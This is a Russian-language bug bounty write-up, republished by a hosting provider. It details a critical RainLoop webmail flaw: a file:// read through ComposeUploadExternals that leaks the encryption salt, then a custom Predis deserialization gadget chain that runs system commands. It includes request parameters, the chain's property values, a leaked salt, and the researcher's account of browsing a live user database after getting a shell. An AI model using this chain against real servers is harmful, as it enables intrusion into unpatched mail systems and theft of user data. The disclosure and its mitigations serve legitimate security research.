В Beget безопасность и стабильность - ключевой приоритет для предоставляемых сервисов. Именно поэтому, ещё в 2017 году мы запустили собственную программу поиска уязвимостей, а в начале 2025 года разместили ее на BI.ZONE Bug Bounty, где продолжаем активно взаимодействовать с исследователями со всего мира.

Около четырех месяцев назад один из участников программы нашел критическую уязвимость в архивном, но всё еще популярном веб-почтовом клиенте RainLoop. Мы оперативно отправили баг-репорт в апстрим и, как выяснилось позже, сам багхантер также напрямую уведомил разработчиков проекта.

До этого в течение долгого времени мы предлагали пользователям RainLoop как альтернативный почтовый клиент. Однако после обнаружения уязвимости приняли решение полностью отказаться от его использования и перевели всех активных пользователей на основной, поддерживаемый интерфейс.

Мы согласовали эту публикацию с автором находки – и теперь рады представить полный технический разбор атаки без изменений. Получился увлекательный отчет, в котором нашлось место и для криптографии, и для нестандартных подходов к эксплуатации.

Если вы интересуетесь безопасностью PHP-приложений, работой с legacy-софтом или просто любите хорошие багхантерские истории, этот текст определенно для вас.

Оригинальный отчет

Представь, заброшенный веб-почтовый клиент, спрятанный в пыльном уголке интернета, о котором почти все забыли, но который таит в себе кладезь... Это история о том, как глубокое погружение в RainLoop (PHP-проект с открытым исходным кодом и четырьмя тысячами звёзд ⭐ на GitHub), привело к обнаружению критической уязвимости, позволяющей выполнить произвольные системные команды. Тем самым, получить доступ к конфиденциальным данным пользователей крупной компании и стать обладателем выплаты по верхней планке.

Тебя ждёт увлекательное путешествие по лабиринтам кода, щепотке криптографии и паре трюков, превративших, казалось бы, не входящий в скоуп хост в настоящий джекпот. В общем, не переключаемся, будет весело ?

Исходная позиция

Всё началось с обычного вечера, когда я, вооружившись чашкой кофе, проводил первичную разведку баг-баунти скоупа beget.com. Среди сотен доменов, в SSL сертификате одного из них мелькнул любопытный хост. Это был почтовый клиент, который компания предоставляла своим зарегистрированным пользователям, на саб-домене вида fancy.beget.email, с установленным приложением RainLoop. Что показалось мне довольно странным, так как основным их веб-мейлером выступал Roundcube. И тут я просто не смог устоять перед соблазном покопаться в исходниках. Приложение которое я впервые увидел, открытые исходники, не самая свежая версия (1.12.1). Анализ кода - моя страсть, а возможность найти что-то интересное уже сама по себе мотивация. Что ещё нужно для увлекательного ресёрча?

Наверное, только подтвердить, что проект не просто нишевый, но и многими используемый:

Это было комбо, и, как оказалось по итогу, решение себя полностью оправдало!

Опасная десериализация

Скачав исходный код RainLoop, я начал искать потенциальные точки входа для атаки. Моей целью было найти уязвимость, которая позволила бы выполнить произвольный код или команды на сервере.

Одной из первых находок стал метод RainLoop\Utils::DecodeKeyValuesQ(). Он обрабатывает данные, которые затем попадают в функцию unserialize, классический такой вектор для RCE:

// ./rainloop/v/1.12.1/app/libraries/RainLoop/Utils.php
static public function DecodeKeyValuesQ($sEncodedValues, $sCustomKey = '')
{
    $aResult = @\unserialize(
        \RainLoop\Utils::DecryptStringQ(
            \MailSo\Base\Utils::UrlSafeBase64Decode($sEncodedValues),
\md5(APP_SALT.$sCustomKey)));
    return \is_array($aResult) ? $aResult : array();
}

На стороне клиента в cookies хранятся данные, которые затем обрабатываются этим методом. Но есть загвоздка: данные шифруются с использованием длинного случайного ключа APP_SALT. Подобрать его нереально и эта защита делает подмену данных на произвольные невозможной, надежно блокируя подобный вектор атаки.

Читалка секретов

Следующим этапом стал поиск других уязвимостей, которые могли бы дать мне возможность раскрытия этого ключа. Благо, приложение имеет большой пласт различного функционала. Забегая вперёд, скажу, что здесь всё прошло гладко ?

Один из десятка методов, RainLoop\Actions\DoComposeUploadExternals(), оказался настоящим подарком для атакующего. Данные, поступающие от пользователя, без какой-либо пост-обработки попадают напрямую в CURLOPT_URL:

// ./rainloop/v/1.12.1/app/libraries/RainLoop/Actions.php
public function DoComposeUploadExternals()
{
    ...
    $aExternals = $this->GetActionParam('Externals', array());
    if (\is_array($aExternals) && 0 < \count($aExternals))
    {
        ...
        foreach ($aExternals as $sUrl)
        {
            if ($rFile && $oHttp->SaveUrlToFile($sUrl, $rFile, '',
$sContentType, $iCode, $this->Logger(), 60,
        ...
        }
    return $this->DefaultResponse(__FUNCTION__, $mResult);
}
// ./rainloop/v/1.12.1/app/libraries/MailSo/Base/Http.php
public function SaveUrlToFile($sUrl, $rFile, ...){
    ...
    $aOptions = array(
        CURLOPT_URL => $sUrl,
        ...
    $oCurl = \curl_init();
    \curl_setopt_array($oCurl, $aOptions);
    ...
    $bResult = \curl_exec($oCurl);
    ...
    return $bResult;
}

И это открывало двери для множества атак, включая SSRF через схемы вроде gopher://, так как CURL поддерживает десятки различных протоколов. В том числе чтение локальных файлов через file://, что было для меня главным!

Метод, сам по себе, не отдавал содержимое файла сразу, поэтому для успешной эксплуатации требовалась совокупность действий:

  • Создать новое письмо и прикрепить к нему произвольный аттач, например 123.txt

  • Сохранить письмо в черновики и перехватить этот запрос (1)

  • В запросе (1) заменить POST данные на:

XToken=__CSRF_TOKEN__&Action=ComposeUploadExternals&Externals[]=file:///var/www/html/data/SALT.php
  • Отправить и скопировать хэш аттача из респонса (2)

  • Заменить хэш в (1), на (2) и отправить запрос

  • В аттаче нового письма, в черновиках, будет содержимое файла SALT.php

Подобным образом, я наконец смог прочитать файл, в котором хранилась секретная соль:

// /var/www/html/data/SALT.php
<?php
//a58a35a5c3c08f4f047364531dee2dc3fbd99005c0c7e5abedcc0f531def5b1b329e151c4b801d27248bce1d27996eca3364

Которая, как видно, имеет внушительный размер и полностью используется для шифрования строк:

// ./rainloop/v/1.12.1/include.php
$sSalt = @file_get_contents(APP_DATA_FOLDER_PATH.'SALT.php');

Извилистая цепочка до RCE

На этом этапе я столкнулся с новой головоломкой. RainLoop оказался довольно скромным в плане используемых библиотек, да и те, что были, не всегда подгружались через autoload. Мой арсенал для создания цепочки десериализации был, мягко говоря, ограниченным. На «закуску» у меня было всего несколько библиотек:

array(7) {
  [0]=>
  string(8) "RainLoop"
  [1]=>
  string(8) "Facebook"
  [2]=>
  string(8) "PHPThumb"
  [3]=>
  string(6) "Predis"
  [4]=>
  string(16) "SabreForRainLoop"
  [5]=>
  string(7) "Imagine"
  [6]=>
  string(9) "Detection"
}

PHPGGC, мой верный спутник в таких делах, лишь грустно вздохнул и самоустранился. Стандартные гаджеты здесь не применимы ? Конечно же, я сразу помчался к великому Grok-у и не менее умному Claude, ведь они за считанные промпты, соберут мне то что нужно. Но как только я начинал разбирать их галюны, то понял, что проще ??

Намотав сопли на кулак и как-то уж сильно поверив в себя, я полез в дебри и ощутил все прелести PHP Object Injection на своей шкуре. Всеми правдами и неправдами, после многих часов кропотливого анализа, я всё же смог построить уникальную и универсальную цепочку для выполнения произвольных команд, используя только одну библиотеку Predis.

Цепочка получилась немного длинной, боюсь объяснение утомит любого неискушенного читателя. Если нет текущей потребности в таком чейне, то можно спокойно мотать до раздела «Эксплуатируй это». А для фанатиков, типа меня, можно инужно продолжить чтение ?

Старт начинается с деструктора Predis\Response\Iterator\MultiBulkTuple:

// ./rainloop/v/1.12.1/app/libraries/Predis/Response/Iterator/MultiBulkTuple.php
public function __destruct()
{
    $this->iterator->drop(true);
}

Код которого, неявно вызывает магический метод __call объекта, который будет помещён в $this->iterator и только в том случае, если у него не будет метода drop.

Поэтому, следующим звеном цепи, является Predis\Pipeline\Pipeline:

// ./rainloop/v/1.12.1/app/libraries/Predis/Pipeline/Pipeline.php
public function __call($method, $arguments)
{
    $command = $this->client->createCommand($method, $arguments);
    $this->recordCommand($command);
  
    return $this;
}

Нетрудно заметить, что можно вызвать ещё один __call, используя $this->client. Но это не тот случай, когда коллов много не бывает ? Теперь уже, подставим объект, у которого будет присутствовать явно вызываемый метод createCommand. А именно класc Predis\Profile\RedisVersion300, что наследует его от абстрактного класса Predis\Profile\RedisProfile:

// ./rainloop/v/1.12.1/app/libraries/Predis/Profile/RedisProfile.php
public function createCommand($commandID, array $arguments = array())
{
    $commandID = strtoupper($commandID);
  
    if (!isset($this->commands[$commandID])) {
        throw new ClientException("Command '$commandID' …");
    }
  
    $commandClass = $this->commands[$commandID];
    $command = new $commandClass();
    $command->setArguments($arguments);
  
    if (isset($this->processor)) {
        $this->processor->process($command);
    }
  
    return $command;
}

Чтобы удовлетворить условиям и не дать рассыпаться нашей цепочке на этом звене, нужно присвоить довольно нетривиальные значения свойствам этого объекта, следующим образом:

$this->commands = ['CREATECOMMAND' => new \Predis\Command\ServerShutdown()];
$this->processor = new \Predis\Command\Processor\KeyPrefixProcessor();

И так получается, что первым делом, "убиваем" if, вторым, не даём упасть на строке command->setArguments(arguments);, так как ServerShutdown, наследующий от Predis\Command\Command, будет содержать метод setArguments. И это является отчасти своеобразной заглушкой, чтобы добраться до условия с processor, но и одновременно удовлетворяет коду следующего объекта $this->processor и его метода process. Где $command обязательно должен реализовывать интерфейс CommandInterface, что успешно соблюдается, так как abstract class Command implements CommandInterface ?

// ./rainloop/v/1.12.1/app/libraries/Predis/Command/Processor/KeyPrefixProcessor.php
public function process(CommandInterface $command)
{
    if ($command instanceof PrefixableCommandInterface) {
        $command->prefixKeys($this->prefix);
    } elseif (isset($this->commands[$commandID =
    strtoupper($command->getId())])) {
    call_user_func($this->commands[$commandID], $command,
    $this->prefix);
    }
}

Невооруженным глазом, уже виднеется всеми любимый «гаджетоманами» call_user_func. Но не тут-то было ?

Как писалось ранее, чтобы допрыгнуть до этого участка кода, необходимо сделать так, чтобы $command удовлетворял ряду условий и так как он есть объект и идёт вторым аргументом в желанном call_user_func, то не удовлетворяет требуемым условиям вызова. Точнее большинство, если не все RCE функции, не могут быть выполнены, так как объект первым аргументом никто из них точно не ждёт.

Поэтому, следует стиснуть зубы и продвинуть цепь ещё на одно звено, заполнив свойства KeyPrefixProcessor следующими значениями:

$this->prefix = '';
$this->commands = ['SHUTDOWN' => [new \Predis\PubSub\DispatcherLoop(), 'run']];

Тем самым, call_user_func отправляет нас дальше в Predis\PubSub\DispatcherLoop, а если точнее, в его метод run:

// ./rainloop/v/1.12.1/app/libraries/Predis/PubSub/DispatcherLoop.php
public function run()
{
    foreach ($this->pubsub as $message) {
        $kind = $message->kind;

        if ($kind !== Consumer::MESSAGE && $kind !==Consumer::PMESSAGE) {
            if (isset($this->subscriptionCallback)) {
                $callback = $this->subscriptionCallback;
                call_user_func($callback, $message);
            }
            continue;
        }

        if (isset($this->callbacks[$message->channel])) {
            $callback = $this->callbacks[$message->channel];
            call_user_func($callback, $message->payload);
        } elseif (isset($this->defaultCallback)) {
            ...
        }
    }
}

Первый блок и снова мимо, вторым аргументом опять выступает объект, $message, а вот следом идущий call_user_func, даёт таки возможность задать как строковое имя функции, через $this->callbacks[message->channel], так и произвольный строковый аргумент, через $message->payload.

Поэтому, подстраиваем свойства класса так:

$this->callbacks = ['command' => 'system'];
$this->pubsub = [new \Predis\Configuration\Options()];

И если с первым присвоением всё понятно, то во втором, добавилась толика магии PHP. Дело в том, что \Predis\Configuration\Options имеет магический метод __get, который выдаёт любые значения находящиеся в его $this->options:

public function __get($option)
{
    if (isset($this->options[$option]) || …) {
        return $this->options[$option];
    }
    …
}

И на ряду с другими ? методами, вызывается также неявно, при использовании подобных вызовов - $message->payload. Соответственно, заполнив его подходящим образом:

$this->options = ['kind' => 'pmessage', 'channel' => 'command', 'payload' => 'cat /etc/passwd'];

Первое значения массива, не даст свернуть не в тот блок, второе, вызволит system из $this->callbacks, а $message->payload, в нужный момент, вернёт нам значение cat /etc/passwd, которое попадёт в функцию $this->callbacks['command'].

Иными словами, выполнится драгоценный:

call_user_func('system', 'cat /etc/passwd');

Этот чейн покрывает всю ветку Predis 1.*, может быть использован на любых кодовых базах и с большой вероятностью, применив небольшие модификации, может быть адаптирован для старших версий. PoC скрипт, для автоматической генерации, доступен тут. Вооружаемся, пользуемся ? Возможно, когда лень отступит, я постараюсь закоммитить в PHPGGC.

Эксплуатируй это

В тот момент, было настоящее чувство триумфа. После долгого brainfuck шторма, у меня была возможность выполнять произвольные команды в приложении! И после простого добавления куки параметра rlsmauth, с закодированной реверс-шелл нагрузкой, я получил командную строку на сервере fancy.beget.email.

И каково же было моё удивление, когда, покопавшись на хосте чуть глубже, я понял, что мог обойтись куда проще. Оказалось, что PHP-FPM висел на 9000 порту, и обычный SSRF через gopher:// сработал бы на ура. Всё это время я красноглазил над Predis-гаджетами, а решение лежало прямо под носом! ? Да уж, иногда самые очевидные пути открываются только после того, как пройдёшь через тернии.

На этом этапе мой интерес был более чем удовлетворён, можно отправлять репорт и получить, как минимум, спасибо. Но волею судеб, так как терминал с шеллом был открыт, я всё-таки решил посмотреть, что хранит это приложение в базе данных. И о чудо, ткнув в пару случайных таблиц, увидел, что приложением всё ещё пользуются и там хранится конфиденциальная информация пользователей. Которую я мог читать и изменять, а мой кейс автоматически поднялся до PI или Critical, кому как удобнее ? В этот момент все части пазла встали на свои места и картина была просто прекрасна!

Репорт и митигация

Незамедлительно был составлен репорт, в котором я подробно объяснил суть произошедшего. Что это 0-day уязвимость и судя по всему, может работать в старших версиях RainLoop (и работает, вплоть до 1.17.0), а поскольку проект находится в архивном состоянии, официальных патчей, скорее всего, уже не будет.

Атакующий, использующий этот эксплойт, может получить доступ к данным пользователей и модифицировать код целевого приложения для дальнейшей эксплуатации.

В качестве смягчения, мной был предложен патч:

  1. Зануллить метод DoComposeUploadExternals, по типу return false;

  2. Добавить во все вызовы unserialize второй аргумент ['allowed_classes' =>
    false]

Ответ из Beget не заставил себя долго ждать и приятно меня удивил. «Прикольно, я вообще не знал, что эта штука у нас поднята», написали мне в ответ, добавив, что мои отчёты читать по-настоящему интересно. Компания оценила находку по максимуму и назначила награду в несколько сотен тысяч рублей! ?

К слову говоря, от имени компании, соответственно, было отправлено уведомительное письмо разработчику об уязвимости на support@rainloop.net, но ответа нет уже несколько месяцев.

Больше, чем просто баг

Этот кейс не только про уязвимость, но и про страсть багхантеров к исследованиям. Хост, который не входил в скоуп, стал отправной точкой для обнаружения критического бага и средством приятного честного обогащения. И стоит обязательно рассматривать это как паттерн, который может быть в любом скоупе, любой компании, даже крупнейших типа FAANG.

Одной из целей написания этого повествования, желание донести некоторые интересные и порой не очевидные мысли до начинающих «охотников за головами». Ведь раскрытых репортов катастрофически мало, а интересных статей по ним тем более, по пальцам можно пересчитать. Поэтому, хочу выразить свой респект не только мысленно, но и словом, всем тем крупицам неравнодушных ребят, что тратят своё драгоценное время на исследования, которые потом превращаются в классные статьи или полезные тулзы.

Не скупись и ты, читатель. Лайки, звездочки, даже простое спасибо в телегу, всё это, как бы не казалось банальным, сильно мотивирует и бодрит.

Всем peace! ?

Комментарии (1)


  1. redfenix
    08.07.2025 16:08

    Хантер который это нашел https://bugbounty.bi.zone/profile/hunter/hackactivity